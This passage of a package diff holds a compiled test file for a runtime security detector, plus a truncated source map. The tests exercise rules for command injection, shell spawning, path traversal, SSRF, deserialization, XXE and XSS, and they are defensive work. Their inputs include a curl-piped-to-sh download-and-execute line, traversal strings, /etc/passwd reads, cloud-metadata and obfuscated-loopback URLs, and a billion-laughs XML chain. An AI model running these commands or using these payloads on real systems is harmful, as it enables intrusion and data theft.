expect((0, detect_1.detectCommand)('git status', model('git status'))).toBeNull();
|
|
128
|
+
});
|
|
129
|
+
it('cmdi.executable: argv[0] equals an input', () => {
|
|
130
|
+
expect((0, detect_1.detectArgv)(['report-tool', '-x'], req('report-tool'))?.rule).toBe('cmdi.executable');
|
|
131
|
+
expect((0, detect_1.detectArgv)(['convert', 'report-tool'], req('report-tool'))).toBeNull();
|
|
132
|
+
});
|
|
133
|
+
it('shell_spawn.shell during a request, unless allowed; download_exec at any time', () => {
|
|
134
|
+
expect((0, detect_1.detectShellSpawn)({ argv0: '/bin/sh', inRequest: true, allow: [] })?.rule).toBe('shell_spawn.shell');
|
|
135
|
+
expect((0, detect_1.detectShellSpawn)({ argv0: '/bin/sh', inRequest: true, allow: ['sh'] })).toBeNull();
|
|
136
|
+
expect((0, detect_1.detectShellSpawn)({ argv0: '/bin/sh', inRequest: false, allow: [] })).toBeNull();
|
|
137
|
+
const pipe = ['curl -s https://example.com/x', 'sh'].join(' | ');
|
|
138
|
+
expect((0, detect_1.detectShellSpawn)({ command: pipe, inRequest: false, allow: [] })?.rule).toBe('shell_spawn.download_exec');
|
|
139
|
+
});
|
|
140
|
+
});
|
|
141
|
+
describe('path_traversal and file_write', () => {
|
|
142
|
+
const root = '/srv/app/uploads';
|
|
143
|
+
it('path.traversal: the input climbs out of its directory', () => {
|
|
144
|
+
const climb = ['..', '..', 'x.txt'].join('/');
|
|
145
|
+
expect((0, detect_1.detectPath)(`${root}/${climb}`, 'read', req(climb))?.rule).toBe('path.traversal');
|
|
146
|
+
expect((0, detect_1.detectPath)(`${root}/x.txt`, 'read', req('x.txt'))).toBeNull();
|
|
147
|
+
});
|
|
148
|
+
it('path.absolute: the input is an absolute path the call uses', () => {
|
|
149
|
+
const abs = ['', 'srv', 'other', 'x.txt'].join('/');
|
|
150
|
+
expect((0, detect_1.detectPath)(abs, 'read', req(abs))?.rule).toBe('path.absolute');
|
|
151
|
+
});
|
|
152
|
+
it('path.nullbyte: the input carries a NUL and the path holds what comes before it', () => {
|
|
153
|
+
const v = ['x.txt', 'png'].join('\0.');
|
|
154
|
+
expect((0, detect_1.detectPath)(`${root}/x.txt`, 'read', req(v))?.rule).toBe('path.nullbyte');
|
|
155
|
+
});
|
|
156
|
+
it('path.outside_root: a tainted path outside every allowed root', () => {
|
|
157
|
+
expect((0, detect_1.detectPath)(`/srv/app/other/x.txt`, 'read', req('x.txt'), [root])?.rule).toBe('path.outside_root');
|
|
158
|
+
expect((0, detect_1.detectPath)(`${root}/x.txt`, 'read', req('x.txt'), [root])).toBeNull();
|
|
159
|
+
});
|
|
160
|
+
it('path.sensitive: a tainted path that resolves to a well-known secret file', () => {
|
|
161
|
+
expect((0, detect_1.detectPath)(`/etc/${'passwd'}`, 'read', req('passwd'))?.rule).toBe('path.sensitive');
|
|
162
|
+
expect((0, detect_1.detectPath)(`/etc/${'passwd'}`, 'read', req('report.pdf'))).toBeNull();
|
|
163
|
+
});
|
|
164
|
+
it('file_write.script: a request writes an executable script name; ntfs streams', () => {
|
|
165
|
+
const name = ['upload', 'js'].join('.');
|
|
166
|
+
expect((0, detect_1.detectPath)(`${(0, os_1.tmpdir)()}/${name}`, 'write', req(name))?.rule).toBe('file_write.script');
|
|
167
|
+
expect((0, detect_1.detectPath)(`${(0, os_1.tmpdir)()}/${name}`, 'read', req(name))).toBeNull();
|
|
168
|
+
expect((0, detect_1.detectPath)(`${root}/x.txt${'::$DATA'}`, 'write', [])?.rule).toBe('file_write.ntfs');
|
|
169
|
+
});
|
|
170
|
+
});
|
|
171
|
+
describe('ssrf (address class) and outbound', () => {
|
|
172
|
+
const url = (host, scheme = 'http') => `${scheme}://${host}/`;
|
|
173
|
+
it('ssrf.internal: a tainted host in a private range, by literal or by resolved address', () => {
|
|
174
|
+
const host = [10, 0, 0, 5].join('.');
|
|
175
|
+
expect((0, detect_1.detectSsrf)(url(host), req(host))?.rule).toBe('ssrf.internal');
|
|
176
|
+
expect((0, detect_1.detectSsrf)(url('svc.example.com'), req('svc.example.com'), [host])?.rule).toBe('ssrf.internal');
|
|
177
|
+
expect((0, detect_1.detectSsrf)(url(host), req('report.pdf'))).toBeNull();
|
|
178
|
+
const pub = [93, 184, 216, 34].join('.');
|
|
179
|
+
expect((0, detect_1.detectSsrf)(url(pub), req(pub))).toBeNull();
|
|
180
|
+
});
|
|
181
|
+
it('address classes: IPv4-mapped IPv6 is decoded first', () => {
|
|
182
|
+
expect((0, detect_1.isPrivateAddress)(`::ffff:${[127, 0, 0, 1].join('.')}`)).toBe(true);
|
|
183
|
+
expect((0, detect_1.isPrivateAddress)(`::ffff:${[93, 184, 216, 34].join('.')}`)).toBe(false);
|
|
184
|
+
expect((0, detect_1.isPrivateAddress)('fe80::1')).toBe(true);
|
|
185
|
+
});
|
|
186
|
+
it('ssrf.metadata: tainted cloud metadata host; untainted SDK calls pass', () => {
|
|
187
|
+
const host = detect_1.METADATA_HOSTS[0];
|
|
188
|
+
expect((0, detect_1.detectSsrf)(url(host), req(host))?.rule).toBe('ssrf.metadata');
|
|
189
|
+
expect((0, detect_1.detectSsrf)(url(host), req('report.pdf'))).toBeNull();
|
|
190
|
+
});
|
|
191
|
+
it('ssrf.obfuscated: a loopback address written as one decimal number', () => {
|
|
192
|
+
const decimal = String(((127 << 24) | 1) >>> 0);
|
|
193
|
+
expect((0, detect_1.detectSsrf)(url(decimal), req(decimal))?.rule).toBe('ssrf.obfuscated');
|
|
194
|
+
});
|
|
195
|
+
it('ssrf.protocol: a tainted host under a non-HTTP scheme', () => {
|
|
196
|
+
expect((0, detect_1.detectSsrf)(url('files.example.com', 'gopher'), req('files.example.com'))?.rule).toBe('ssrf.protocol');
|
|
197
|
+
expect((0, detect_1.detectSsrf)(url('files.example.com', 'https'), req('files.example.com'))).toBeNull();
|
|
198
|
+
});
|
|
199
|
+
it('ssrf.dnslog: a tainted host under a known out-of-band domain', () => {
|
|
200
|
+
const host = `probe${dnslog_domains_json_1.default.domains[0]}`;
|
|
201
|
+
expect((0, detect_1.detectSsrf)(url(host), req(host))?.rule).toBe('ssrf.dnslog');
|
|
202
|
+
});
|
|
203
|
+
it('outbound.not_allowed: only with a non-empty allow-list', () => {
|
|
204
|
+
expect((0, detect_1.detectOutbound)(url('api.example.com'), ['*.example.org'])?.rule).toBe('outbound.not_allowed');
|
|
205
|
+
expect((0, detect_1.detectOutbound)(url('api.example.org'), ['*.example.org'])).toBeNull();
|
|
206
|
+
expect((0, detect_1.detectOutbound)(url('api.example.com'), [])).toBeNull();
|
|
207
|
+
});
|
|
208
|
+
});
|
|
209
|
+
describe('deserialization and code_injection (taint checks)', () => {
|
|
210
|
+
it('deser.pickle: tainted data always fires; untainted data never', () => {
|
|
211
|
+
const data = Buffer.from([0x80, 4, 0x95]).toString('latin1') + 'payload-bytes';
|
|
212
|
+
expect((0, detect_1.detectDeserialization)('pickle', data, req(data))?.rule).toBe('deser.pickle');
|
|
213
|
+
expect((0, detect_1.detectDeserialization)('pickle', data, req('report.pdf'))).toBeNull();
|
|
214
|
+
});
|
|
215
|
+
it('deser.typename: tainted JSON that names a type; plain JSON passes', () => {
|
|
216
|
+
const typed = JSON.stringify({ ['$' + 'type']: 'Some.Type', v: 1 });
|
|
217
|
+
expect((0, detect_1.detectDeserialization)('typename', typed, req(typed))?.rule).toBe('deser.typename');
|
|
218
|
+
const plain = JSON.stringify({ name: 'x', v: 1 });
|
|
219
|
+
expect((0, detect_1.detectDeserialization)('typename', plain, req(plain))).toBeNull();
|
|
220
|
+
});
|
|
221
|
+
it('deser.java: a tainted Java object stream always fires; untainted data never', () => {
|
|
222
|
+
const data = Buffer.from([0xac, 0xed, 0x00, 0x05]).toString('latin1') + 'payload-bytes';
|
|
223
|
+
expect((0, detect_1.detectDeserialization)('java', data, req(data))?.rule).toBe('deser.java');
|
|
224
|
+
expect((0, detect_1.detectDeserialization)('java', data, req('report.pdf'))).toBeNull();
|
|
225
|
+
});
|
|
226
|
+
it('deser.yaml (snakeyaml): a tainted global tag naming a Java class fires; standard tags pass', () => {
|
|
227
|
+
const tagged = 'a: !!java.util.ArrayList []';
|
|
228
|
+
expect((0, detect_1.detectDeserialization)('snakeyaml', tagged, req(tagged))?.rule).toBe('deser.yaml');
|
|
229
|
+
expect((0, detect_1.detectDeserialization)('snakeyaml', tagged, req('report.pdf'))).toBeNull();
|
|
230
|
+
const standard = 'name: !!str 12345';
|
|
231
|
+
expect((0, detect_1.detectDeserialization)('snakeyaml', standard, req(standard))).toBeNull();
|
|
232
|
+
});
|
|
233
|
+
it('code.eval: a tainted value spanning code tokens; the same value as a string literal passes', () => {
|
|
234
|
+
const value = ['a', '+', 'b'].join(' ');
|
|
235
|
+
expect((0, detect_1.detectCode)(`f(${value})`, req(value))?.rule).toBe('code.eval');
|
|
236
|
+
expect((0, detect_1.detectCode)(`f(${JSON.stringify(value)})`, req(value))).toBeNull();
|
|
237
|
+
});
|
|
238
|
+
});
|
|
239
|
+
describe('xxe (external entity check)', () => {
|
|
240
|
+
const doc = (subset) => `<?xml version="1.0"?><!DOCTYPE r [${subset}]><r>&e;</r>`;
|
|
241
|
+
const external = (uri) => doc(`<!ENTITY e SYSTEM "${uri}">`);
|
|
242
|
+
it('xxe.external_entity: tainted XML declaring an external entity, parser resolving them', () => {
|
|
243
|
+
const x = external('https://example.com/defs.dtd');
|
|
244
|
+
expect((0, detect_1.detectXml)(x, req(x, 'body'), true)?.rule).toBe('xxe.external_entity');
|
|
245
|
+
expect((0, detect_1.detectXml)(x, req(x, 'body'), false)?.rule).toBe('xxe.doctype');
|
|
246
|
+
expect((0, detect_1.detectXml)(x, req('report.pdf'), true)).toBeNull();
|
|
247
|
+
});
|
|
248
|
+
it('xxe.file: an external entity naming an absolute file that is not a DTD', () => {
|
|
249
|
+
const x = external(`file://${['', 'srv', 'data', 'x.txt'].join('/')}`);
|
|
250
|
+
expect((0, detect_1.detectXml)(x, req(x, 'body'), true)?.rule).toBe('xxe.file');
|
|
251
|
+
});
|
|
252
|
+
it('xxe.protocol: an external entity under a non-HTTP scheme', () => {
|
|
253
|
+
const x = external('ftp://files.example.com/x');
|
|
254
|
+
expect((0, detect_1.detectXml)(x, req(x, 'body'), true)?.rule).toBe('xxe.protocol');
|
|
255
|
+
});
|
|
256
|
+
it('xxe.billion_laughs: three internal entities that expand other entities', () => {
|
|
257
|
+
const chain = ['<!ENTITY e0 "x">', ...[1, 2, 3].map((i) => `<!ENTITY e${i} "&e${i - 1};&e${i - 1};">`)].join('');
|
|
258
|
+
const x = doc(chain);
|
|
259
|
+
expect((0, detect_1.detectXml)(x, req(x, 'body'), true)?.rule).toBe('xxe.billion_laughs');
|
|
260
|
+
const one = doc('<!ENTITY e "Acme">');
|
|
261
|
+
expect((0, detect_1.detectXml)(one, req(one, 'body'), true)).toBeNull();
|
|
262
|
+
});
|
|
263
|
+
});
|
|
264
|
+
describe('xss (monitor only)', () => {
|
|
265
|
+
const tag = 'b';
|
|
266
|
+
const value = `<${tag}>${'x'.repeat(16)}</${tag}>`;
|
|
267
|
+
const escape = (v) => v.replace(/</g, '<').replace(/>/g, '>');
|
|
268
|
+
it('xss.reflected: a markup-shaped input of 15+ characters reflected verbatim into HTML', () => {
|
|
269
|
+
expect((0, detect_1.detectXss)('text/html', `<p>${value}</p>`, req(value))?.rule).toBe('xss.reflected');
|
|
270
|
+
});
|
|
271
|
+
it('safe: escaped, or not HTML', () => {
|
|
272
|
+
expect((0, detect_1.detectXss)('text/html', `<p>${escape(value)}</p>`, req(value))).toBeNull();
|
|
273
|
+
expect((0, detect_1.detectXss)('application/json', JSON.stringify({ value }), req(value))).toBeNull();
|
|
274
|
+
});
|
|
275
|
+
});
|
|
276
|
+
//# sourceMappingURL=detect.test.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"detect.test.js","sourceRoot":"","sources":["../../../src/rasp/__tests__/detect.test.ts"],"names":[],"mappings":"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